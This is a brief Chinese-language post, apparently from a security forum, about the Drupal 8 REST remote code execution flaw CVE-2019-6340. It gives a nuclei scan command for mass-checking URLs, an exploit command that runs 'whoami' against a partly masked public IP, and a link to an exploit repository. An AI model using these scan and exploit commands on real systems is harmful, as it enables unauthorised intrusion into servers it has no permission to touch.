POC SA-CORE-2019-003 RCE (CVE-2019-6340)

[Shacker已验证会员]

## 漏洞概述

Drupal8 REST RCE, SA-CORE-2019-003

## 影响范围

```http
8.x
```

## POC

```bash
nuclei -tags drupal -t cves/ -l urls.txt

或者Goby
```

## EXP

```python
python CVE-2019-6340.py http://47.xx.xx.xx  "whoami"
```

[@jas502n](https://github.com/jas502n)

## 参考链接

https://github.com/jas502n/CVE-2019-6340

 

POC  CVE-2019-6340

POC  Drupal